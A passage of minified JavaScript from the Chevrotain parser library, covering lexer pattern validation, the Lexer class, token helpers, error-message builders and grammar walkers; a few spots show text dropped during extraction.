e=Zr(t,i=>!Ft(i,Gp)),r=rt(e,i=>({message:"Token Type: ->"+i.name+"<- missing static 'PATTERN' property",type:Qn.MISSING_PATTERN,tokenTypes:[i]})),n=lf(t,e);return{errors:r,valid:n}}function cYe(t){let e=Zr(t,i=>{let a=i[Gp];return!Uo(a)&&!Si(a)&&!Ft(a,"exec")&&!xi(a)}),r=rt(e,i=>({message:"Token Type: ->"+i.name+"<- static 'PATTERN' can only be a RegExp, a Function matching the {CustomPatternMatcherFunc} type or an Object matching the {ICustomPattern} interface.",type:Qn.INVALID_PATTERN,tokenTypes:[i]})),n=lf(t,e);return{errors:r,valid:n}}function hYe(t){class e extends Wc{static{o(this,"EndAnchorFinder")}constructor(){super(...arguments),this.found=!1}visitEndAnchor(a){this.found=!0}}let r=Zr(t,i=>{let a=i.PATTERN;try{let s=m1(a),l=new e;return l.visit(s),l.found}catch{return uYe.test(a.source)}});return rt(r,i=>({message:`Unexpected RegExp Anchor Error: + Token Type: ->`+i.name+`<- static 'PATTERN' cannot contain end of input anchor '$' + See chevrotain.io/docs/guide/resolving_lexer_errors.html#ANCHORS for details.`,type:Qn.EOI_ANCHOR_FOUND,tokenTypes:[i]}))}function fYe(t){let e=Zr(t,n=>n.PATTERN.test(""));return rt(e,n=>({message:"Token Type: ->"+n.name+"<- static 'PATTERN' must not match an empty string",type:Qn.EMPTY_MATCH_PATTERN,tokenTypes:[n]}))}function pYe(t){class e extends Wc{static{o(this,"StartAnchorFinder")}constructor(){super(...arguments),this.found=!1}visitStartAnchor(a){this.found=!0}}let r=Zr(t,i=>{let a=i.PATTERN;try{let s=m1(a),l=new e;return l.visit(s),l.found}catch{return dYe.test(a.source)}});return rt(r,i=>({message:`Unexpected RegExp Anchor Error: + Token Type: ->`+i.name+`<- static 'PATTERN' cannot contain start of input anchor '^' + See https://chevrotain.io/docs/guide/resolving_lexer_errors.html#ANCHORS for details.`,type:Qn.SOI_ANCHOR_FOUND,tokenTypes:[i]}))}function mYe(t){let e=Zr(t,n=>{let i=n[Gp];return i instanceof RegExp&&(i.multiline||i.global)});return rt(e,n=>({message:"Token Type: ->"+n.name+"<- static 'PATTERN' may NOT contain global('g') or multiline('m')",type:Qn.UNSUPPORTED_FLAGS_FOUND,tokenTypes:[n]}))}function gYe(t){let e=[],r=rt(t,a=>Jr(t,(s,l)=>(a.PATTERN.source===l.PATTERN.source&&!jn(e,l)&&l.PATTERN!==Zn.NA&&(e.push(l),s.push(l)),s),[]));r=_c(r);let n=Zr(r,a=>a.length>1);return rt(n,a=>{let s=rt(a,u=>u.name);return{message:`The same RegExp pattern ->${ea(a).PATTERN}<-has been used in all of the following Token Types: ${s.join(", ")} <-`,type:Qn.DUPLICATE_PATTERNS_FOUND,tokenTypes:a}})}function yYe(t){let e=Zr(t,n=>{if(!Ft(n,"GROUP"))return!1;let i=n.GROUP;return i!==Zn.SKIPPED&&i!==Zn.NA&&!xi(i)});return rt(e,n=>({message:"Token Type: ->"+n.name+"<- static 'GROUP' can only be Lexer.SKIPPED/Lexer.NA/A String",type:Qn.INVALID_GROUP_TYPE_FOUND,tokenTypes:[n]}))}function vYe(t,e){let r=Zr(t,i=>i.PUSH_MODE!==void 0&&!jn(e,i.PUSH_MODE));return rt(r,i=>({message:`Token Type: ->${i.name}<- static 'PUSH_MODE' value cannot refer to a Lexer Mode ->${i.PUSH_MODE}<-which does not exist`,type:Qn.PUSH_MODE_DOES_NOT_EXIST,tokenTypes:[i]}))}function xYe(t){let e=[],r=Jr(t,(n,i,a)=>{let s=i.PATTERN;return s===Zn.NA||(xi(s)?n.push({str:s,idx:a,tokenType:i}):Uo(s)&&TYe(s)&&n.push({str:s.source,idx:a,tokenType:i})),n},[]);return Ae(t,(n,i)=>{Ae(r,({str:a,idx:s,tokenType:l})=>{if(i${l.name}<- can never be matched. +Because it appears AFTER the Token Type ->${n.name}<-in the lexer's definition. +See https://chevrotain.io/docs/guide/resolving_lexer_errors.html#UNREACHABLE`;e.push({message:u,type:Qn.UNREACHABLE_PATTERN,tokenTypes:[n,l]})}})}),e}function bYe(t,e){if(Uo(e)){let r=e.exec(t);return r!==null&&r.index===0}else{if(Si(e))return e(t,0,[],{});if(Ft(e,"exec"))return e.exec(t,0,[],{});if(typeof e=="string")return e===t;throw Error("non exhaustive match")}}function TYe(t){return os([".","\\","[","]","|","^","$","(",")","?","*","+","{"],r=>t.source.indexOf(r)!==-1)===void 0}function cde(t){let e=t.ignoreCase?"i":"";return new RegExp(`^(?:${t.source})`,e)}function ude(t){let e=t.ignoreCase?"iy":"y";return new RegExp(`${t.source}`,e)}function dde(t,e,r){let n=[];return Ft(t,y1)||n.push({message:"A MultiMode Lexer cannot be initialized without a <"+y1+`> property in its definition +`,type:Qn.MULTI_MODE_LEXER_WITHOUT_DEFAULT_MODE}),Ft(t,tS)||n.push({message:"A MultiMode Lexer cannot be initialized without a <"+tS+`> property in its definition +`,type:Qn.MULTI_MODE_LEXER_WITHOUT_MODES_PROPERTY}),Ft(t,tS)&&Ft(t,y1)&&!Ft(t.modes,t.defaultMode)&&n.push({message:`A MultiMode Lexer cannot be initialized with a ${y1}: <${t.defaultMode}>which does not exist +`,type:Qn.MULTI_MODE_LEXER_DEFAULT_MODE_VALUE_DOES_NOT_EXIST}),Ft(t,tS)&&Ae(t.modes,(i,a)=>{Ae(i,(s,l)=>{if(xr(s))n.push({message:`A Lexer cannot be initialized using an undefined Token Type. Mode:<${a}> at index: <${l}> +`,type:Qn.LEXER_DEFINITION_CANNOT_CONTAIN_UNDEFINED});else if(Ft(s,"LONGER_ALT")){let u=Bt(s.LONGER_ALT)?s.LONGER_ALT:[s.LONGER_ALT];Ae(u,h=>{!xr(h)&&!jn(i,h)&&n.push({message:`A MultiMode Lexer cannot be initialized with a longer_alt <${h.name}> on token <${s.name}> outside of mode <${a}> +`,type:Qn.MULTI_MODE_LEXER_LONGER_ALT_NOT_IN_CURRENT_MODE})})}})}),n}function pde(t,e,r){let n=[],i=!1,a=_c(Qr(kr(t.modes))),s=cf(a,u=>u[Gp]===Zn.NA),l=xde(r);return e&&Ae(s,u=>{let h=vde(u,l);if(h!==!1){let d={message:kYe(u,h),type:h.issue,tokenType:u};n.push(d)}else Ft(u,"LINE_BREAKS")?u.LINE_BREAKS===!0&&(i=!0):eS(l,u.PATTERN)&&(i=!0)}),e&&!i&&n.push({message:`Warning: No LINE_BREAKS Found. + This Lexer has been defined to track line and column information, + But none of the Token Types can be identified as matching a line terminator. + See https://chevrotain.io/docs/guide/resolving_lexer_errors.html#LINE_BREAKS + for details.`,type:Qn.NO_LINE_BREAKS_FLAGS}),n}function mde(t){let e={},r=qr(t);return Ae(r,n=>{let i=t[n];if(Bt(i))e[n]=[];else throw Error("non exhaustive match")}),e}function gde(t){let e=t.PATTERN;if(Uo(e))return!1;if(Si(e))return!0;if(Ft(e,"exec"))return!0;if(xi(e))return!1;throw Error("non exhaustive match")}function wYe(t){return xi(t)&&t.length===1?t.charCodeAt(0):!1}function vde(t,e){if(Ft(t,"LINE_BREAKS"))return!1;if(Uo(t.PATTERN)){try{eS(e,t.PATTERN)}catch(r){return{issue:Qn.IDENTIFY_TERMINATOR,errMsg:r.message}}return!1}else{if(xi(t.PATTERN))return!1;if(gde(t))return{issue:Qn.CUSTOM_LINE_BREAK};throw Error("non exhaustive match")}}function kYe(t,e){if(e.issue===Qn.IDENTIFY_TERMINATOR)return`Warning: unable to identify line terminator usage in pattern. + The problem is in the <${t.name}> Token Type + Root cause: ${e.errMsg}. + For details See: https://chevrotain.io/docs/guide/resolving_lexer_errors.html#IDENTIFY_TERMINATOR`;if(e.issue===Qn.CUSTOM_LINE_BREAK)return`Warning: A Custom Token Pattern should specify the option. + The problem is in the <${t.name}> Token Type + For details See: https://chevrotain.io/docs/guide/resolving_lexer_errors.html#CUSTOM_LINE_BREAK`;throw Error("non exhaustive match")}function xde(t){return rt(t,r=>xi(r)?r.charCodeAt(0):r)}function XO(t,e,r){t[e]===void 0?t[e]=[r]:t[e].push(r)}function Yc(t){return t255?255+~~(t/255):t}}var Gp,y1,tS,jO,uYe,dYe,yde,g1,rS,YO=N(()=>{"use strict";Wx();tb();Yt();d1();lde();ZE();Gp="PATTERN",y1="defaultMode",tS="modes",jO=typeof new RegExp("(?:)").sticky=="boolean";o(hde,"analyzeTokenTypes");o(fde,"validatePatterns");o(oYe,"validateRegExpPattern");o(lYe,"findMissingPatterns");o(cYe,"findInvalidPatterns");uYe=/[^\\][$]/;o(hYe,"findEndOfInputAnchor");o(fYe,"findEmptyMatchRegExps");dYe=/[^\\[][\^]|^\^/;o(pYe,"findStartOfInputAnchor");o(mYe,"findUnsupportedFlags");o(gYe,"findDuplicatePatterns");o(yYe,"findInvalidGroupType");o(vYe,"findModesThatDoNotExist");o(xYe,"findUnreachablePatterns");o(bYe,"testTokenType");o(TYe,"noMetaChar");o(cde,"addStartOfInput");o(ude,"addStickyFlag");o(dde,"performRuntimeChecks");o(pde,"performWarningRuntimeChecks");o(mde,"cloneEmptyGroups");o(gde,"isCustomPattern");o(wYe,"isShortPattern");yde={test:o(function(t){let e=t.length;for(let r=this.lastIndex;r{r.isParent=r.categoryMatches.length>0})}function SYe(t){let e=ln(t),r=t,n=!0;for(;n;){r=_c(Qr(rt(r,a=>a.CATEGORIES)));let i=lf(r,e);e=e.concat(i),mr(i)?n=!1:r=i}return e}function CYe(t){Ae(t,e=>{KO(e)||(wde[bde]=e,e.tokenTypeIdx=bde++),Tde(e)&&!Bt(e.CATEGORIES)&&(e.CATEGORIES=[e.CATEGORIES]),Tde(e)||(e.CATEGORIES=[]),DYe(e)||(e.categoryMatches=[]),LYe(e)||(e.categoryMatchesMap={})})}function AYe(t){Ae(t,e=>{e.categoryMatches=[],Ae(e.categoryMatchesMap,(r,n)=>{e.categoryMatches.push(wde[n].tokenTypeIdx)})})}function _Ye(t){Ae(t,e=>{kde([],e)})}function kde(t,e){Ae(t,r=>{e.categoryMatchesMap[r.tokenTypeIdx]=!0}),Ae(e.CATEGORIES,r=>{let n=t.concat(e);jn(n,r)||kde(n,r)})}function KO(t){return Ft(t,"tokenTypeIdx")}function Tde(t){return Ft(t,"CATEGORIES")}function DYe(t){return Ft(t,"categoryMatches")}function LYe(t){return Ft(t,"categoryMatchesMap")}function Ede(t){return Ft(t,"tokenTypeIdx")}var bde,wde,Vp=N(()=>{"use strict";Yt();o(Xu,"tokenStructuredMatcher");o(v1,"tokenStructuredMatcherNoCategories");bde=1,wde={};o(ju,"augmentTokenTypes");o(SYe,"expandCategories");o(CYe,"assignTokenDefaultProps");o(AYe,"assignCategoriesTokensProp");o(_Ye,"assignCategoriesMapProp");o(kde,"singleAssignCategoriesToksMap");o(KO,"hasShortKeyProperty");o(Tde,"hasCategoriesProperty");o(DYe,"hasExtendingTokensTypesProperty");o(LYe,"hasExtendingTokensTypesMapProperty");o(Ede,"isTokenType")});var x1,QO=N(()=>{"use strict";x1={buildUnableToPopLexerModeMessage(t){return`Unable to pop Lexer Mode after encountering Token ->${t.image}<- The Mode Stack is empty`},buildUnexpectedCharactersMessage(t,e,r,n,i){return`unexpected character: ->${t.charAt(e)}<- at offset: ${e}, skipped ${r} characters.`}}});var Qn,rb,Zn,tb=N(()=>{"use strict";YO();Yt();d1();Vp();QO();ZE();(function(t){t[t.MISSING_PATTERN=0]="MISSING_PATTERN",t[t.INVALID_PATTERN=1]="INVALID_PATTERN",t[t.EOI_ANCHOR_FOUND=2]="EOI_ANCHOR_FOUND",t[t.UNSUPPORTED_FLAGS_FOUND=3]="UNSUPPORTED_FLAGS_FOUND",t[t.DUPLICATE_PATTERNS_FOUND=4]="DUPLICATE_PATTERNS_FOUND",t[t.INVALID_GROUP_TYPE_FOUND=5]="INVALID_GROUP_TYPE_FOUND",t[t.PUSH_MODE_DOES_NOT_EXIST=6]="PUSH_MODE_DOES_NOT_EXIST",t[t.MULTI_MODE_LEXER_WITHOUT_DEFAULT_MODE=7]="MULTI_MODE_LEXER_WITHOUT_DEFAULT_MODE",t[t.MULTI_MODE_LEXER_WITHOUT_MODES_PROPERTY=8]="MULTI_MODE_LEXER_WITHOUT_MODES_PROPERTY",t[t.MULTI_MODE_LEXER_DEFAULT_MODE_VALUE_DOES_NOT_EXIST=9]="MULTI_MODE_LEXER_DEFAULT_MODE_VALUE_DOES_NOT_EXIST",t[t.LEXER_DEFINITION_CANNOT_CONTAIN_UNDEFINED=10]="LEXER_DEFINITION_CANNOT_CONTAIN_UNDEFINED",t[t.SOI_ANCHOR_FOUND=11]="SOI_ANCHOR_FOUND",t[t.EMPTY_MATCH_PATTERN=12]="EMPTY_MATCH_PATTERN",t[t.NO_LINE_BREAKS_FLAGS=13]="NO_LINE_BREAKS_FLAGS",t[t.UNREACHABLE_PATTERN=14]="UNREACHABLE_PATTERN",t[t.IDENTIFY_TERMINATOR=15]="IDENTIFY_TERMINATOR",t[t.CUSTOM_LINE_BREAK=16]="CUSTOM_LINE_BREAK",t[t.MULTI_MODE_LEXER_LONGER_ALT_NOT_IN_CURRENT_MODE=17]="MULTI_MODE_LEXER_LONGER_ALT_NOT_IN_CURRENT_MODE"})(Qn||(Qn={}));rb={deferDefinitionErrorsHandling:!1,positionTracking:"full",lineTerminatorsPattern:/\n|\r\n?/g,lineTerminatorCharacters:[` +`,"\r"],ensureOptimizations:!1,safeMode:!1,errorMessageProvider:x1,traceInitPerf:!1,skipValidations:!1,recoveryEnabled:!0};Object.freeze(rb);Zn=class{static{o(this,"Lexer")}constructor(e,r=rb){if(this.lexerDefinition=e,this.lexerDefinitionErrors=[],this.lexerDefinitionWarning=[],this.patternIdxToConfig={},this.charCodeToPatternIdxToConfig={},this.modes=[],this.emptyGroups={},this.trackStartLines=!0,this.trackEndLines=!0,this.hasCustom=!1,this.canModeBeOptimized={},this.TRACE_INIT=(i,a)=>{if(this.traceInitPerf===!0){this.traceInitIndent++;let s=new Array(this.traceInitIndent+1).join(" ");this.traceInitIndent <${i}>`);let{time:l,value:u}=Zx(a),h=l>10?console.warn:console.log;return this.traceInitIndent time: ${l}ms`),this.traceInitIndent--,u}else return a()},typeof r=="boolean")throw Error(`The second argument to the Lexer constructor is now an ILexerConfig Object. +a boolean 2nd argument is no longer supported`);this.config=pa({},rb,r);let n=this.config.traceInitPerf;n===!0?(this.traceInitMaxIdent=1/0,this.traceInitPerf=!0):typeof n=="number"&&(this.traceInitMaxIdent=n,this.traceInitPerf=!0),this.traceInitIndent=-1,this.TRACE_INIT("Lexer Constructor",()=>{let i,a=!0;this.TRACE_INIT("Lexer Config handling",()=>{if(this.config.lineTerminatorsPattern===rb.lineTerminatorsPattern)this.config.lineTerminatorsPattern=yde;else if(this.config.lineTerminatorCharacters===rb.lineTerminatorCharacters)throw Error(`Error: Missing property on the Lexer config. + For details See: https://chevrotain.io/docs/guide/resolving_lexer_errors.html#MISSING_LINE_TERM_CHARS`);if(r.safeMode&&r.ensureOptimizations)throw Error('"safeMode" and "ensureOptimizations" flags are mutually exclusive.');this.trackStartLines=/full|onlyStart/i.test(this.config.positionTracking),this.trackEndLines=/full/i.test(this.config.positionTracking),Bt(e)?i={modes:{defaultMode:ln(e)},defaultMode:y1}:(a=!1,i=ln(e))}),this.config.skipValidations===!1&&(this.TRACE_INIT("performRuntimeChecks",()=>{this.lexerDefinitionErrors=this.lexerDefinitionErrors.concat(dde(i,this.trackStartLines,this.config.lineTerminatorCharacters))}),this.TRACE_INIT("performWarningRuntimeChecks",()=>{this.lexerDefinitionWarning=this.lexerDefinitionWarning.concat(pde(i,this.trackStartLines,this.config.lineTerminatorCharacters))})),i.modes=i.modes?i.modes:{},Ae(i.modes,(l,u)=>{i.modes[u]=cf(l,h=>xr(h))});let s=qr(i.modes);if(Ae(i.modes,(l,u)=>{this.TRACE_INIT(`Mode: <${u}> processing`,()=>{if(this.modes.push(u),this.config.skipValidations===!1&&this.TRACE_INIT("validatePatterns",()=>{this.lexerDefinitionErrors=this.lexerDefinitionErrors.concat(fde(l,s))}),mr(this.lexerDefinitionErrors)){ju(l);let h;this.TRACE_INIT("analyzeTokenTypes",()=>{h=hde(l,{lineTerminatorCharacters:this.config.lineTerminatorCharacters,positionTracking:r.positionTracking,ensureOptimizations:r.ensureOptimizations,safeMode:r.safeMode,tracer:this.TRACE_INIT})}),this.patternIdxToConfig[u]=h.patternIdxToConfig,this.charCodeToPatternIdxToConfig[u]=h.charCodeToPatternIdxToConfig,this.emptyGroups=pa({},this.emptyGroups,h.emptyGroups),this.hasCustom=h.hasCustom||this.hasCustom,this.canModeBeOptimized[u]=h.canBeOptimized}})}),this.defaultMode=i.defaultMode,!mr(this.lexerDefinitionErrors)&&!this.config.deferDefinitionErrorsHandling){let u=rt(this.lexerDefinitionErrors,h=>h.message).join(`----------------------- +`);throw new Error(`Errors detected in definition of Lexer: +`+u)}Ae(this.lexerDefinitionWarning,l=>{Qx(l.message)}),this.TRACE_INIT("Choosing sub-methods implementations",()=>{if(jO?(this.chopInput=Qi,this.match=this.matchWithTest):(this.updateLastIndex=si,this.match=this.matchWithExec),a&&(this.handleModes=si),this.trackStartLines===!1&&(this.computeNewColumn=Qi),this.trackEndLines===!1&&(this.updateTokenEndLineColumnLocation=si),/full/i.test(this.config.positionTracking))this.createTokenInstance=this.createFullToken;else if(/onlyStart/i.test(this.config.positionTracking))this.createTokenInstance=this.createStartOnlyToken;else if(/onlyOffset/i.test(this.config.positionTracking))this.createTokenInstance=this.createOffsetOnlyToken;else throw Error(`Invalid config option: "${this.config.positionTracking}"`);this.hasCustom?(this.addToken=this.addTokenUsingPush,this.handlePayload=this.handlePayloadWithCustom):(this.addToken=this.addTokenUsingMemberAccess,this.handlePayload=this.handlePayloadNoCustom)}),this.TRACE_INIT("Failed Optimization Warnings",()=>{let l=Jr(this.canModeBeOptimized,(u,h,f)=>(h===!1&&u.push(f),u),[]);if(r.ensureOptimizations&&!mr(l))throw Error(`Lexer Modes: < ${l.join(", ")} > cannot be optimized. + Disable the "ensureOptimizations" lexer config flag to silently ignore this and run the lexer in an un-optimized mode. + Or inspect the console log for details on how to resolve these issues.`)}),this.TRACE_INIT("clearRegExpParserCache",()=>{ide()}),this.TRACE_INIT("toFastProperties",()=>{Jx(this)})})}tokenize(e,r=this.defaultMode){if(!mr(this.lexerDefinitionErrors)){let i=rt(this.lexerDefinitionErrors,a=>a.message).join(`----------------------- +`);throw new Error(`Unable to Tokenize because Errors detected in definition of Lexer: +`+i)}return this.tokenizeInternal(e,r)}tokenizeInternal(e,r){let n,i,a,s,l,u,h,f,d,p,m,g,y,v,x,b,T=e,S=T.length,w=0,k=0,A=this.hasCustom?0:Math.floor(e.length/10),C=new Array(A),R=[],I=this.trackStartLines?1:void 0,L=this.trackStartLines?1:void 0,E=mde(this.emptyGroups),D=this.trackStartLines,_=this.config.lineTerminatorsPattern,O=0,M=[],P=[],B=[],F=[];Object.freeze(F);let G;function $(){return M}o($,"getPossiblePatternsSlow");function U(J){let ue=Yc(J),re=P[ue];return re===void 0?F:re}o(U,"getPossiblePatternsOptimized");let j=o(J=>{if(B.length===1&&J.tokenType.PUSH_MODE===void 0){let ue=this.config.errorMessageProvider.buildUnableToPopLexerModeMessage(J);R.push({offset:J.startOffset,line:J.startLine,column:J.startColumn,length:J.image.length,message:ue})}else{B.pop();let ue=ma(B);M=this.patternIdxToConfig[ue],P=this.charCodeToPatternIdxToConfig[ue],O=M.length;let re=this.canModeBeOptimized[ue]&&this.config.safeMode===!1;P&&re?G=U:G=$}},"pop_mode");function te(J){B.push(J),P=this.charCodeToPatternIdxToConfig[J],M=this.patternIdxToConfig[J],O=M.length,O=M.length;let ue=this.canModeBeOptimized[J]&&this.config.safeMode===!1;P&&ue?G=U:G=$}o(te,"push_mode"),te.call(this,r);let Y,oe=this.config.recoveryEnabled;for(;wu.length){u=s,h=f,Y=ae;break}}}break}}if(u!==null){if(d=u.length,p=Y.group,p!==void 0&&(m=Y.tokenTypeIdx,g=this.createTokenInstance(u,w,m,Y.tokenType,I,L,d),this.handlePayload(g,h),p===!1?k=this.addToken(C,k,g):E[p].push(g)),e=this.chopInput(e,d),w=w+d,L=this.computeNewColumn(L,d),D===!0&&Y.canLineTerminator===!0){let ee=0,Z,K;_.lastIndex=0;do Z=_.test(u),Z===!0&&(K=_.lastIndex-1,ee++);while(Z===!0);ee!==0&&(I=I+ee,L=d-K,this.updateTokenEndLineColumnLocation(g,p,K,ee,I,L,d))}this.handleModes(Y,j,te,g)}else{let ee=w,Z=I,K=L,ae=oe===!1;for(;ae===!1&&w{"use strict";Yt();tb();Vp();o(Ku,"tokenLabel");o(ZO,"hasTokenLabel");RYe="parent",Sde="categories",Cde="label",Ade="group",_de="push_mode",Dde="pop_mode",Lde="longer_alt",Rde="line_breaks",Nde="start_chars_hint";o(Pf,"createToken");o(NYe,"createTokenInternal");yo=Pf({name:"EOF",pattern:Zn.NA});ju([yo]);o(Qu,"createTokenInstance");o(nb,"tokenMatcher")});var Zu,Mde,Gl,b1=N(()=>{"use strict";Up();Yt();ps();Zu={buildMismatchTokenMessage({expected:t,actual:e,previous:r,ruleName:n}){return`Expecting ${ZO(t)?`--> ${Ku(t)} <--`:`token of type --> ${t.name} <--`} but found --> '${e.image}' <--`},buildNotAllInputParsedMessage({firstRedundant:t,ruleName:e}){return"Redundant input, expecting EOF but found: "+t.image},buildNoViableAltMessage({expectedPathsPerAlt:t,actual:e,previous:r,customUserDescription:n,ruleName:i}){let a="Expecting: ",l=` +but found: '`+ea(e).image+"'";if(n)return a+n+l;{let u=Jr(t,(p,m)=>p.concat(m),[]),h=rt(u,p=>`[${rt(p,m=>Ku(m)).join(", ")}]`),d=`one of these possible Token sequences: +${rt(h,(p,m)=>` ${m+1}. ${p}`).join(` +`)}`;return a+d+l}},buildEarlyExitMessage({expectedIterationPaths:t,actual:e,customUserDescription:r,ruleName:n}){let i="Expecting: ",s=` +but found: '`+ea(e).image+"'";if(r)return i+r+s;{let u=`expecting at least one iteration which starts with one of these possible Token sequences:: + <${rt(t,h=>`[${rt(h,f=>Ku(f)).join(",")}]`).join(" ,")}>`;return i+u+s}}};Object.freeze(Zu);Mde={buildRuleNotFoundError(t,e){return"Invalid grammar, reference to a rule which is not defined: ->"+e.nonTerminalName+`<- +inside top level rule: ->`+t.name+"<-"}},Gl={buildDuplicateFoundError(t,e){function r(f){return f instanceof Ar?f.terminalType.name:f instanceof fn?f.nonTerminalName:""}o(r,"getExtraProductionArgument");let n=t.name,i=ea(e),a=i.idx,s=Xs(i),l=r(i),u=a>0,h=`->${s}${u?a:""}<- ${l?`with argument: ->${l}<-`:""} + appears more than once (${e.length} times) in the top level rule: ->${n}<-. + For further details see: https://chevrotain.io/docs/FAQ.html#NUMERICAL_SUFFIXES + `;return h=h.replace(/[ \t]+/g," "),h=h.replace(/\s\s+/g,` +`),h},buildNamespaceConflictError(t){return`Namespace conflict found in grammar. +The grammar has both a Terminal(Token) and a Non-Terminal(Rule) named: <${t.name}>. +To resolve this make sure each Terminal and Non-Terminal names are unique +This is easy to accomplish by using the convention that Terminal names start with an uppercase letter +and Non-Terminal names start with a lower case letter.`},buildAlternationPrefixAmbiguityError(t){let e=rt(t.prefixPath,i=>Ku(i)).join(", "),r=t.alternation.idx===0?"":t.alternation.idx;return`Ambiguous alternatives: <${t.ambiguityIndices.join(" ,")}> due to common lookahead prefix +in inside <${t.topLevelRule.name}> Rule, +<${e}> may appears as a prefix path in all these alternatives. +See: https://chevrotain.io/docs/guide/resolving_grammar_errors.html#COMMON_PREFIX +For Further details.`},buildAlternationAmbiguityError(t){let e=rt(t.prefixPath,i=>Ku(i)).join(", "),r=t.alternation.idx===0?"":t.alternation.idx,n=`Ambiguous Alternatives Detected: <${t.ambiguityIndices.join(" ,")}> in inside <${t.topLevelRule.name}> Rule, +<${e}> may appears as a prefix path in all these alternatives. +`;return n=n+`See: https://chevrotain.io/docs/guide/resolving_grammar_errors.html#AMBIGUOUS_ALTERNATIVES +For Further details.`,n},buildEmptyRepetitionError(t){let e=Xs(t.repetition);return t.repetition.idx!==0&&(e+=t.repetition.idx),`The repetition <${e}> within Rule <${t.topLevelRule.name}> can never consume any tokens. +This could lead to an infinite loop.`},buildTokenNameError(t){return"deprecated"},buildEmptyAlternationError(t){return`Ambiguous empty alternative: <${t.emptyChoiceIdx+1}> in inside <${t.topLevelRule.name}> Rule. +Only the last alternative may be an empty alternative.`},buildTooManyAlternativesError(t){return`An Alternation cannot have more than 256 alternatives: + inside <${t.topLevelRule.name}> Rule. + has ${t.alternation.definition.length+1} alternatives.`},buildLeftRecursionError(t){let e=t.topLevelRule.name,r=rt(t.leftRecursionPath,a=>a.name),n=`${e} --> ${r.concat([e]).join(" --> ")}`;return`Left Recursion found in grammar. +rule: <${e}> can be invoked from itself (directly or indirectly) +without consuming any Tokens. The grammar path that causes this is: + ${n} + To fix this refactor your grammar to remove the left recursion. +see: https://en.wikipedia.org/wiki/LL_parser#Left_factoring.`},buildInvalidRuleNameError(t){return"deprecated"},buildDuplicateRuleNameError(t){let e;return t.topLevelRule instanceof fs?e=t.topLevelRule.name:e=t.topLevelRule,`Duplicate definition, rule: ->${e}<- is already defined in the grammar: ->${t.grammarName}<-`}}});function Ide(t,e){let r=new JO(t,e);return r.resolveRefs(),r.errors}var JO,Ode=N(()=>{"use strict";js();Yt();ps();o(Ide,"resolveGrammar");JO=class extends ds{static{o(this,"GastRefResolverVisitor")}constructor(e,r){super(),this.nameToTopRule=e,this.errMsgProvider=r,this.errors=[]}resolveRefs(){Ae(kr(this.nameToTopRule),e=>{this.currTopLevel=e,e.accept(this)})}visitNonTerminal(e){let r=this.nameToTopRule[e.nonTerminalName];if(r)e.referencedRule=r;else{let n=this.errMsgProvider.buildRuleNotFoundError(this.currTopLevel,e);this.errors.push({message:n,type:Gi.UNRESOLVED_SUBRULE_REF,ruleName:this.currTopLevel.name,unresolvedRefName:e.nonTerminalName})}}}});function sS(t,e,r=[]){r=ln(r);let n=[],i=0;function a(l){return l.concat(yi(t,i+1))}o(a,"remainingPathWith");function s(l){let u=sS(a(l),e,r);return n.concat(u)}for(o(s,"getAlternativesForProd");r.length{mr(u.definition)===!1&&(n=s(u.definition))}),n;if(l instanceof Ar)r.push(l.terminalType);else throw Error("non exhaustive match")}i++}return n.push({partialPath:r,suffixDef:yi(t,i)}),n}function oS(t,e,r,n){let i="EXIT_NONE_TERMINAL",a=[i],s="EXIT_ALTERNATIVE",l=!1,u=e.length,h=u-n-1,f=[],d=[];for(d.push({idx:-1,def:t,ruleStack:[],occurrenceStack:[]});!mr(d);){let p=d.pop();if(p===s){l&&ma(d).idx<=h&&d.pop();continue}let m=p.def,g=p.idx,y=p.ruleStack,v=p.occurrenceStack;if(mr(m))continue;let x=m[0];if(x===i){let b={idx:g,def:yi(m),ruleStack:Bu(y),occurrenceStack:Bu(v)};d.push(b)}else if(x instanceof Ar)if(g=0;b--){let T=x.definition[b],S={idx:g,def:T.definition.concat(yi(m)),ruleStack:y,occurrenceStack:v};d.push(S),d.push(s)}else if(x instanceof Pn)d.push({idx:g,def:x.definition.concat(yi(m)),ruleStack:y,occurrenceStack:v});else if(x instanceof fs)d.push(MYe(x,g,y,v));else throw Error("non exhaustive match")}return f}function MYe(t,e,r,n){let i=ln(r);i.push(t.name);let a=ln(n);return a.push(1),{idx:e,def:t.definition,ruleStack:i,occurrenceStack:a}}var eP,nS,T1,iS,ib,aS,ab,sb=N(()=>{"use strict";Yt();GO();jE();ps();eP=class extends Yu{static{o(this,"AbstractNextPossibleTokensWalker")}constructor(e,r){super(),this.topProd=e,this.path=r,this.possibleTokTypes=[],this.nextProductionName="",this.nextProductionOccurrence=0,this.found=!1,this.isAtEndOfPath=!1}startWalking(){if(this.found=!1,this.path.ruleStack[0]!==this.topProd.name)throw Error("The path does not start with the walker's top Rule!");return this.ruleStack=ln(this.path.ruleStack).reverse(),this.occurrenceStack=ln(this.path.occurrenceStack).reverse(),this.ruleStack.pop(),this.occurrenceStack.pop(),this.updateExpectedNext(),this.walk(this.topProd),this.possibleTokTypes}walk(e,r=[]){this.found||super.walk(e,r)}walkProdRef(e,r,n){if(e.referencedRule.name===this.nextProductionName&&e.idx===this.nextProductionOccurrence){let i=r.concat(n);this.updateExpectedNext(),this.walk(e.referencedRule,i)}}updateExpectedNext(){mr(this.ruleStack)?(this.nextProductionName="",this.nextProductionOccurrence=0,this.isAtEndOfPath=!0):(this.nextProductionName=this.ruleStack.pop(),this.nextProductionOccurrence=this.occurrenceStack.pop())}},nS=class extends eP{static{o(this,"NextAfterTokenWalker")}constructor(e,r){super(e,r),this.path=r,this.nextTerminalName="",this.nextTerminalOccurrence=0,this.nextTerminalName=this.path.lastTok.name,this.nextTerminalOccurrence=this.path.lastTokOccurrence}walkTerminal(e,r,n){if(this.isAtEndOfPath&&e.terminalType.name===this.nextTerminalName&&e.idx===this.nextTerminalOccurrence&&!this.found){let i=r.concat(n),a=new Pn({definition:i});this.possibleTokTypes=zp(a),this.found=!0}}},T1=class extends Yu{static{o(this,"AbstractNextTerminalAfterProductionWalker")}constructor(e,r){super(),this.topRule=e,this.occurrence=r,this.result={token:void 0,occurrence:void 0,isEndOfRule:void 0}}startWalking(){return this.walk(this.topRule),this.result}},iS=class extends T1{static{o(this,"NextTerminalAfterManyWalker")}walkMany(e,r,n){if(e.idx===this.occurrence){let i=ea(r.concat(n));this.result.isEndOfRule=i===void 0,i instanceof Ar&&(this.result.token=i.terminalType,this.result.occurrence=i.idx)}else super.walkMany(e,r,n)}},ib=class extends T1{static{o(this,"NextTerminalAfterManySepWalker")}walkManySep(e,r,n){if(e.idx===this.occurrence){let 